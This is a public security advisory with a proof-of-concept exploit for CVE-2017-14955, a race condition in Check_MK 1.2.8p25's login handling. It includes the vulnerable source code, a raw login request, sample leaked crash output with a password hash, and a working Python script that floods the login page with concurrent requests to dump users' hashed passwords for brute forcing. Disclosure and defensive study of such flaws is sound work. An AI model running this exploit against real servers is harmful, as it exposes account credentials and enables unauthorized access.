Exploit - 43021 | Check_MK 1.2.8p25 - Information Disclosure

1. ADVISORY INFORMATION
=======================
Product:        Check_mk
Vendor URL:     https://mathias-kettner.de/check_mk.html
Type:           Race Condition [CWE-362]
Date found:     2017-09-21
Date published: 2017-10-18
CVSSv3 Score:   7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVE:            CVE-2017-14955


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Check_mk v1.2.8p25
Check_mk v1.2.8p25 Enterprise
older versions may be affected too.


4. INTRODUCTION
===============
Check_MK is comprehensive IT monitoring solution in the tradition of Nagios.
Check_MK is available as Raw Edition, which is 100% pure open source, and as
Enterprise Edition with a lot of additional features and professional support.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
Check_mk is vulnerable to an unauthenticated information disclosure through a
race condition during the authentication process when trying to authenticate
with a valid username and an invalid password.

On a failed login, the application calls the function save_users(), which
performs two os.rename operations on the files "contacts.mk.new" and
"users.mk.new" (see /packages/check_mk/check_mk-1.2.8p25/web/htdocs/userdb.py):

[..]
   # Check_MK's monitoring contacts
   filename = root_dir + "contacts.mk.new"
   out = create_user_file(filename, "w")
   out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")
   out.write("contacts.update(\n%s\n)\n" % pprint.pformat(contacts))
   out.close()
   os.rename(filename, filename[:-4])

   # Users with passwords for Multisite
   filename = multisite_dir + "users.mk.new"
   make_nagios_directory(multisite_dir)
   out = create_user_file(filename, "w")
   out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")
   out.write("multisite_users = \\\n%s\n" % pprint.pformat(users))
   out.close()
   os.rename(filename, filename[:-4])
[...]

When sending many concurrent authentication requests with an existing/valid
username, such as:

POST /check_mk/login.py HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---9519178121294961341040589727
Content-Length: 772
Connection: close
Upgrade-Insecure-Requests: 1

---9519178121294961341040589727
Content-Disposition: form-data; name="filled_in"

login
---9519178121294961341040589727
Content-Disposition: form-data; name="_login"

1
---9519178121294961341040589727
Content-Disposition: form-data; name="_origtarget"

index.py
---9519178121294961341040589727
Content-Disposition: form-data; name="_username"

omdadmin
---9519178121294961341040589727
Content-Disposition: form-data; name="_password"

welcome
---9519178121294961341040589727
Content-Disposition: form-data; name="_login"

Login
---9519178121294961341040589727--

Then it could happen that one of both os.rename() calls references a non-
existing file, which has just been renamed by a previous thread. This causes the
Python script to fail and throw a crash report, which discloses a variety of
sensitive information, such as internal server paths, account details including
hashed passwords:

</pre></td></tr><tr class="data odd0"><td class="left">Local Variables</td><td><pre>{'contacts': {u'admin': {'alias': u'Administrator',
                             'contactgroups': ['all'],
                             'disable_notifications': False,
                             'email': u'admin@example.com',
                             'enforce_pw_change': False,
                             'last_pw_change': 0,
                             'last_seen': 0.0,
                             'locked': False,
                             'num_failed': 0,
                             'pager': '',
                             'password': '$1$400000$13371337asdfasdf',
                             'roles': ['admin'],
                             'serial': 2},

A script to automatically exploit this vulnerability can be found on [0].

6. POC
======

#!/usr/bin/python
# Exploit Title: Check_mk <=3D v1.2.8p25 save_users() Race Condition
# Version:       <=3D 1.2.8p25
# Date:          2017-10-18
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      https://www.rcesecurity.com
# Software Link: https://mathias-kettner.de/check_mk.html
# Tested on:     1.2.8p25
# CVE:=09=09 CVE-2017-14955
#
# Howto / Notes:
# This scripts exploits the Race Condition in check_mk version 1.2.8p25 and
# below as described by CVE-2017-14955. You only need a valid username to
# dump all encrypted passwords and make sure to setup a local proxy to
# catch the dump. Happy brute forcing ;-)

import requests
import threading

try:
=09from requests.packages.urllib3.exceptions import InsecureRequestWarning
=09requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except:
=09pass

# Config Me
target_url =3D "https://localhost/check_mk/login.py"
target_username =3D "omdadmin"

proxies =3D {
  'http': 'http://127.0.0.1:8080',
  'https': 'http://127.0.0.1:8080',
}

def make_session():
=09v =3D requests.post(target_url, verify=3DFalse, proxies=3Dproxies, files=
=3D{'filled_in': (None, 'login'), '_login': (None, '1'), '_origtarget': (No=
ne, 'index.py'), '_username': (None, target_username), '_password': (None, =
'random'), '_login': (None, 'Login')})
=09return v.content

NUM =3D 50

threads =3D []
for i in range(NUM):
    t =3D threading.Thread(target=3Dmake_session)
    threads.append(t)
    t.start()

7. RISK
=======
To successfully exploit this vulnerability an unauthenticated attacker must only
have network-level access to the application.

The vulnerability allows remote attackers to trigger an exception, which
discloses a variety of sensitive internal information such as:
- Local server paths
- Usernames
- Passwords (hashed)
- and user directory-specific attributes (i.e. LDAP)


8. SOLUTION
===========
Update to 1.2.8p26.


9. REPORT TIMELINE
==================
2017-09-21: Discovery of the vulnerability
2017-09-21: Sent limited information to publicly listed email address
2017-09-21: Vendor responds and asks for details
2017-09-21: Full vulnerability details sent to vendor
2017-09-25: Vendor pushes fix to git
2017-10-01: MITRE assigns CVE-2017-14955
2017-10-16: Fix confirmed
2017-10-18: Public disclosure


10. REFERENCES
=============
[0] https://www.rcesecurity.com/2017/10/cve-2017-14955-win-a-race-against-check-mk-to-dump-all-your-login-data/
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14955